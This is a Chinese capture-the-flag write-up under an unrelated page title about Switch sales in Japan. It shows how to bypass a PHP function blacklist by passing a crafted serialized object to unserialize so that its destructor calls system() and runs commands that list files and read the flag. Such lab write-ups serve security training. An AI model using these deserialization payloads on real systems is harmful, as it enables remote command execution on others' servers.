1. 程式人生 > 遊戲 >33年來首次!日本銷售榜前30名均被Swtich遊戲霸佔

33年來首次!日本銷售榜前30名均被Swtich遊戲霸佔

抓包

看到網頁post提交了兩個引數,開啟hackbar發現確實傳了值。

懷疑func是函式名,引數p是函式的引數值。

猜測後臺可能是呼叫了call_user_func()方法。

這麼傳入看一下func=eval&p=<?php phpinfo()?>試一下

看來後臺還是有過濾的。

讀取一下index.php

func=file_get_contents&p=index.php得到原始碼

<?php
    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
    
function gettime($func, $p) { $result = call_user_func($func, $p); $a= gettype($result); if ($a == "string") { return $result; } else {return "";} } class Test { var $p = "Y-m-d h:i:s a"; var $func = "date"; function __destruct() {
if ($this->func != "") { echo gettime($this->func, $this->p); } } } $func = $_REQUEST["func"]; $p = $_REQUEST["p"]; if ($func != null) { $func = strtolower($func); if (!in_array($func,$disable_fun)) { echo gettime($func
, $p); }else { die("Hacker..."); } } ?>

程式碼邏輯理一遍,可以看到tes類是沒被呼叫的,我們可不可以構造php序列化建立一個類呢,然後呼叫反序列化函式。
當反序列化時,自動呼叫__destruct()函式,其中又包含著gettime方法

<?php
class Test {
    var $p = "Y-m-d h:i:s a";
    var $func = "date";
    function __destruct() {
        if ($this->func != "") {
            echo gettime($this->func, $this->p);
        }
    }
}
$a = new Test();
$b = serialize($a);
echo $b;

得到

O:4:"Test":2:{s:1:"p";s:6:"system";s:4:"func";s:2:"ls";}

post傳參func=unserialize&p=O:4:"Test":2:{s:1:"p";s:2:"ls";s:4:"func";s:6:"system";}

沒有flag 直接去根目錄找檔名帶有flag的檔案

func=unserialize&p=O:4:"Test":2:{s:1:"p";s:18:"find / -name flag*";s:4:"func";s:6:"system";}

或者是一層層的往上層目錄找

O:4:"Test":2:{s:1:"p";s:12:"ls ../../../";s:4:"func";s:6:"system";}

最終payload:func=unserialize&p=O:4:"Test":2:{s:1:"p";s:22:"cat /tmp/flagoefiu4r93";s:4:"func";s:6:"system";}

得到flag